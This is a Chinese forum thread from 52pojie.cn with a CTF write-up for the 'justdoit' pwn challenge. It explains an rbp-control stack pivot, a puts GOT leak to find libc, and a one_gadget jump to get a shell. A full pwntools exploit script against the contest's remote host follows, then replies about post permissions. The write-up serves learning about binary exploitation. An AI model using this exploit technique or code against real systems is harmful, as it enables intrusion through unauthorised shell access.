吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3396|回复: 13
收起左侧

[CTF] 东软杯-pwn-justdoit

  [复制链接]
HNHuangJingYU 发表于 2021-12-10 20:33

第一届东软杯pwn-justdoit

一直等着比赛第二天有pwn题续命,可惜,下次比赛目标pwn题拉满!

ida分析通过伪函数分析发生没有什么漏洞,也没看到malloc、free、new关键字,那么一定是栈题、函数中也没发现缓冲区溢出,那么就找程序中一些奇奇怪怪的代码配合汇编一起看。

image.png

image.png

最后在main汇编代码里面发现了这个

image.png

加上测试程序时报了段错误
image.png

那么程序漏洞利用点必是这里无疑,既然rbp的值可以控制,因为rbp与程序执行流密切相关,那么我输入一个地址将rbp置于它的上方即可达到劫持执行流。因为程序没有后门,嗯,保护措施如下:

image.png

思路:可用got表劫持,libc泄漏

ok,name后面的buf可以输入执行地址,frends后面的buf可以改变执行流,以下简称buf1、buf2.

buf1只能输入0x18那么刚好就是3个地址,64位中ROP泄漏libc就是 pop_rdi + @got + @plt + ret_addr,即可leak,那么很明显这里放不下,那么就需要拆分执行。

call和ret指令都是转移指令,它们都修改IP,或同时修改CS和IP

这题我们调整rep的值指向rsp,那么它会将rsp的下一条指令pop ip,那么此时rbp也会指向rsp的值经过leave后会将这个值保存至rbp寄存器,此时程序误以为回到了调用者函数,然后又会重用之前的rbp,嗯,ok

payload:

sa('name?',p64(main) +p64(main))
sa('frends??',str(-0x20)) #指向第二个参数  那么rbp = main ,ret = main

sa('name?',p64(prdi)+p64(puts_got)+p64(puts_plt))
sa('frends??',str(-0x28))

程序先执行一遍main函数并把main函数地址保存至rbp,然后执行got表泄漏后执行rbp的值,那么程序就又回到了main。

ok,这一次直接getshell

leak = uu64(ru('\n')[:-1])
base = leak - libc.symbols['puts']
success('base',base)
one = [0x45226,0x4527a,0xf03a4,0xf1247]

sa('name?',p64(base+one[0])) 
sa('frends??',str(-0x28))#指向ROP链的前一个
it()

image.png

完整exp:

from pwn import *

#context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux' , 'splitw', '-h']
SigreturnFrame(kernel = 'amd64')

binary = "./justdoit"

global p
local = 0
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("47.106.172.144","65004")
    e = ELF(binary)
    libc = ELF('libc-2.23.so')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def raw(s):
  log.success('当前执行步骤 -> '+s)
  pause()

#start
puts_plt = e.plt['puts']
puts_got = e.got['puts']
prdi = 0x00000000004012b3
main = 0x4011d5

sa('name?',p64(main) +p64(main))
sa('frends??',str(-0x20)) #指向第二个参数  那么rbp = main ,ret = main

sa('name?',p64(prdi)+p64(puts_got)+p64(puts_plt))
sa('frends??',str(-0x28))

leak = uu64(ru('\n')[:-1])
base = leak - libc.symbols['puts']
success('base',base)
one = [0x45226,0x4527a,0xf03a4,0xf1247]

sa('name?',p64(base+one[0]))
sa('frends??',str(-0x28))

it()







为什么不能修改权限啊,记得我之前没有吾爱账号导致很多想看的文章都看不了,最终还是活成了自己讨厌的人

免费评分

参与人数 8威望 +1 吾爱币 +27 热心值 +7 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
13725948475 + 1 + 1 楼主能否发一份题目
MaoManster + 1 + 1 我很赞同!
笙若 + 1 + 1 谢谢@Thanks!
这是追求不是梦 + 1 + 1 热心回复!
shiyucj + 1 + 1 我很赞同!
nshark + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
13699513436 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2021-12-20 18:09
心中的沉默 发表于 2021-12-10 22:58
没法,我也一样,不是你一个人,帖子有权限,大概率不影响,小概率影响搜索引擎
https://www.52poji ...

楼主和你的那个不是一个原因,今天核查发现还真是我们新插件导致的bug,已经回滚了,楼主帖子我重新编辑取消权限了,抱歉。@HNHuangJingYU
心中的沉默 发表于 2021-12-20 18:13
Hmily 发表于 2021-12-20 18:09
楼主和你的那个不是一个原因,今天核查发现还真是我们新插件导致的bug,已经回滚了,楼主帖子我重新编辑 ...

谢谢没问题了
 楼主| HNHuangJingYU 发表于 2021-12-10 20:53
本帖最后由 HNHuangJingYU 于 2021-12-10 20:54 编辑

怎么开放给所有人啊,大佬们
13699513436 发表于 2021-12-10 22:00
不会用吧。太难了
心中的沉默 发表于 2021-12-10 22:58
没法,我也一样,不是你一个人,帖子有权限,大概率不影响,小概率影响搜索引擎
https://www.52pojie.cn/thread-1559338-1-1.html

点评

楼主和你的那个不是一个原因,今天核查发现还真是我们新插件导致的bug,已经回滚了,楼主帖子我重新编辑取消权限了,抱歉。@HNHuangJingYU  详情 回复 发表于 2021-12-20 18:09
头像被屏蔽
tl;dr 发表于 2021-12-11 07:16
提示: 作者被禁止或删除 内容自动屏蔽
52jcool 发表于 2021-12-11 10:26
收藏,学习,谢谢
C2021 发表于 2021-12-11 10:54
感谢分享
zhchxu123 发表于 2021-12-11 10:56
看不懂,啥都不说了,先收藏,在学习
2733369 发表于 2021-12-11 11:49
学习,谢谢
夕阳枫 发表于 2021-12-11 12:55
谢谢老师分享软件,辛苦啦,这个要认真学习才行呢。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-16 01:30

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表